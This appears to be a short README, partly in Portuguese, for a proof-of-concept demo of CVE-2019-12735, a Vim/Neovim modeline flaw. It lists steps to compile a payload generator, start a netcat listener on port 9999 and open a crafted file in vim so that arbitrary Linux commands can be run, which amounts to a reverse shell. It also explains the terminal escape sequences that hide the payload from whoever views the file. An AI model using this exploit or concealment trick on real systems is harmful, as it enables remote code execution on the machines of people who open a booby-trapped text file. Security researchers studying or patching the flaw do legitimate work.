
A demo for cve-2019-12735
Esta CVE foi corrigida após neovim 0.3.6 e vim 8.1.1365
vim demo1.txt
gcc make_demo3.c -o make_demo3
./make_demo3
nc -vlp 9999
vim demo3.txt
E então, você pode executar qualquer comando linux na sessão.
\x1b[?7l : não quebra linha ao chegar ao final da linha, sobrepõe continuamente o último caractere\x1bS: STS, Set transmit state\x1b[1G: move para a coluna 1\x1b[K: apaga todos os caracteres da posição atual do cursor até o final da linha